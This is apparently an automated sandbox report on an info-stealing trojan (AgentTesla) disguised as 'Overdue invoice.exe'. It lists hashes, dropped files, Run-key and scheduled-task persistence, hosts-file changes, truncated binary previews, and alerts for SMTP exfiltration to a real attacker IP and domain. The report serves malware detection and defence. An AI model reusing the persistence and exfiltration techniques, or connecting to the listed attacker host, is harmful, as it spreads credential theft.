http://www.fontbureau.comB.TTFlC	Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://I323GyXsTwT8KsWsK7L.net	yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.523253401.000000000339C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comm	Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cne-d	Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.como	Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comdC	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.comals	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comh	Overdue invoice.exe, 00000000.00000003.253303468.000000000591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comc	Overdue invoice.exe, 00000000.00000003.253356717.000000000591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
206.183.111.188	mail.jkudyog.com	United States		133296	WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	635084
Start date and time: 27/05/202212:52:12	2022-05-27 12:52:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Overdue invoice.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@15/8@3/2
EGA Information:	Successful, ratio: 80%
HDC Information:	Successful, ratio: 0.3% (good quality ratio 0.2%) Quality average: 36.5% Quality standard deviation: 31.4%
HCA Information:	Successful, ratio: 96% Number of executed functions: 210 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.54.89.106, 52.152.110.14, 52.242.101.226, 20.223.24.244
Excluded domains from analysis (whitelisted): fs.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target Overdue invoice.exe, PID 7124 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:53:25	API Interceptor	703x Sleep call for process: Overdue invoice.exe modified
12:53:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run yqWDN C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe
12:53:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run yqWDN C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe
12:53:58	API Interceptor	456x Sleep call for process: yqWDN.exe modified

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Overdue invoice.exe.log

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yqWDN.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\tmp2055.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	5.196427141159646
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBNixYtn:cbh47TlNQ//rydbz9I3YODOLNdq3SQ
MD5:	364FC5EE0A5C3367CC852041FF7A5AF8
SHA1:	2F039FE567DB11CEC74B020B1DC57E7BD20B8CC2
SHA-256:	8037DD1DC6177AFE6038B4A78C79274F4DFFF4A96098ACE279B12517F607EEB8
SHA-512:	AA980A773C0DC2E154EB1D060F3D90F05814E74BCE492C50DC2904D73724BC18ADF7677C127CEF0B98230856AEF47B42E39CE43293B7F7E28A77CEE9DD7980E4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmpA306.tmp

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	5.196427141159646
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBNixYtn:cbh47TlNQ//rydbz9I3YODOLNdq3SQ
MD5:	364FC5EE0A5C3367CC852041FF7A5AF8
SHA1:	2F039FE567DB11CEC74B020B1DC57E7BD20B8CC2
SHA-256:	8037DD1DC6177AFE6038B4A78C79274F4DFFF4A96098ACE279B12517F607EEB8
SHA-512:	AA980A773C0DC2E154EB1D060F3D90F05814E74BCE492C50DC2904D73724BC18ADF7677C127CEF0B98230856AEF47B42E39CE43293B7F7E28A77CEE9DD7980E4
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	731648
Entropy (8bit):	7.384642302436539
Encrypted:	false
SSDEEP:	12288:/52iNKUwVRh6UkRKstKDBi3x0Z5S2EetsSJhjsudQVYJUEKl75jQWmc:x18Ph6UkgstKFkYS270u2VYJUEKlCW
MD5:	21C2F8CC3F1D71FFB036CA3788A346B6
SHA1:	B1F681EB0C5B406BAD2414829D003568AB44982C
SHA-256:	8E68AC628396CBB8619A54FFCE8AEDAE2A20CA23E514813B70C99987175F735D
SHA-512:	4A6BE00ECBE056B5951926A87529A0993D5902841BB491460F8F6EAE1AAB017FF4EE2E8AF3C604AE0540C14B56751F517554AFC863918AB92362B3339A3CE406
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b.....................H........... ........@.. ....................................@.................................@...W........E...................`....................................................... ............... ..H............text........ ...................... ..`.rsrc....E.......F..................@..@.reloc.......`.......(..............@..B................\|.......H.......P....R......B....y...1..........................................z.(".....}.....(#...o$...}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....o....:q....(....+..(........}.........(......................n..}.....{....,..{....o......{....*.s%.

C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	731648
Entropy (8bit):	7.384642302436539
Encrypted:	false
SSDEEP:	12288:/52iNKUwVRh6UkRKstKDBi3x0Z5S2EetsSJhjsudQVYJUEKl75jQWmc:x18Ph6UkgstKFkYS270u2VYJUEKlCW
MD5:	21C2F8CC3F1D71FFB036CA3788A346B6
SHA1:	B1F681EB0C5B406BAD2414829D003568AB44982C
SHA-256:	8E68AC628396CBB8619A54FFCE8AEDAE2A20CA23E514813B70C99987175F735D
SHA-512:	4A6BE00ECBE056B5951926A87529A0993D5902841BB491460F8F6EAE1AAB017FF4EE2E8AF3C604AE0540C14B56751F517554AFC863918AB92362B3339A3CE406
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b.....................H........... ........@.. ....................................@.................................@...W........E...................`....................................................... ............... ..H............text........ ...................... ..`.rsrc....E.......F..................@..@.reloc.......`.......(..............@..B................\|.......H.......P....R......B....y...1..........................................z.(".....}.....(#...o$...}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....o....:q....(....+..(........}.........(......................n..}.....{....,..{....o......{....*.s%.

C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\Desktop\Overdue invoice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.694294591169137
Encrypted:	false
SSDEEP:	24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:vDZhyoZWM9rU5fFcP
MD5:	6EB47C1CF858E25486E42440074917F2
SHA1:	6A63F93A95E1AE831C393A97158C526A4FA0FAAE
SHA-256:	9B13A3EA948A1071A81787AAC1930B89E30DF22CE13F8FF751F31B5D83E79FFB
SHA-512:	08437AB32E7E905EB11335E670CDD5D999803390710ED39CBC31A2D3F05868D5D0E5D051CCD7B06A85BB466932F99A220463D27FAC29116D241E8ADAC495FA2F
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....127.0.0.1

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.384642302436539
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Overdue invoice.exe
File size:	731648
MD5:	21c2f8cc3f1d71ffb036ca3788a346b6
SHA1:	b1f681eb0c5b406bad2414829d003568ab44982c
SHA256:	8e68ac628396cbb8619a54ffce8aedae2a20ca23e514813b70c99987175f735d
SHA512:	4a6be00ecbe056b5951926a87529a0993d5902841bb491460f8f6eae1aab017ff4ee2e8af3c604ae0540c14b56751f517554afc863918ab92362b3339a3ce406
SSDEEP:	12288:/52iNKUwVRh6UkRKstKDBi3x0Z5S2EetsSJhjsudQVYJUEKl75jQWmc:x18Ph6UkgstKFkYS270u2VYJUEKlCW
TLSH:	75F4CF20F71FB8D1D66EC6740BB686221EA14D7EFCF9921E5597314B0A31392601BCAF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b.....................H........... ........@.. ....................................@................................

File Icon


Icon Hash:	04fcf0b0d4a6e46c

Static PE Info

General

Entrypoint:	0x47fe9a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x628EC311 [Thu May 26 00:00:17 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7fe40	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0x345bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7dea0	0x7e000	False	0.818219866071	data	7.65168574947	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x80000	0x345bc	0x34600	False	0.445009509248	data	6.26427887157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x802b0	0xc5d8	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x8c888	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0x9d0b0	0x94a8	data
RT_ICON	0xa6558	0x5488	data
RT_ICON	0xab9e0	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 4294967295
RT_ICON	0xafc08	0x25a8	data
RT_ICON	0xb21b0	0x10a8	data
RT_ICON	0xb3258	0x988	data
RT_ICON	0xb3be0	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xb4048	0x84	data
RT_VERSION	0xb40cc	0x33c	data
RT_MANIFEST	0xb4408	0x1b4	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2015
Assembly Version	1.0.0.0
InternalName	cCjl.exe
FileVersion	1.0.0.0
CompanyName	FCSF
LegalTrademarks
Comments
ProductName	Event Transmission
ProductVersion	1.0.0.0
FileDescription	Event Transmission
OriginalFilename	cCjl.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3206.183.111.188497155872840032 05/27/22-12:53:52.919110	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49715	587	192.168.2.3	206.183.111.188
192.168.2.3206.183.111.188497155872030171 05/27/22-12:53:52.919010	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49715	587	192.168.2.3	206.183.111.188
192.168.2.3206.183.111.188497455872030171 05/27/22-12:54:26.668198	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49745	587	192.168.2.3	206.183.111.188
192.168.2.3206.183.111.188497155872839723 05/27/22-12:53:52.919010	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49715	587	192.168.2.3	206.183.111.188
192.168.2.3206.183.111.188497455872840032 05/27/22-12:54:26.668311	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49745	587	192.168.2.3	206.183.111.188
192.168.2.3206.183.111.188497455872839723 05/27/22-12:54:26.668198	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49745	587	192.168.2.3	206.183.111.188

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 12:53:50.993177891 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:51.123843908 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:51.123989105 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:51.877722979 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:51.918479919 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:51.957850933 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.088825941 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.137103081 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.178985119 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.310087919 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.364459991 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.507563114 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.508352995 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.638927937 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.639225006 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.786659956 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.786880970 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.917552948 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.917664051 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:52.919009924 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.919110060 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.919651031 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:52.919720888 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:53:53.050086975 CEST	587	49715	206.183.111.188	192.168.2.3
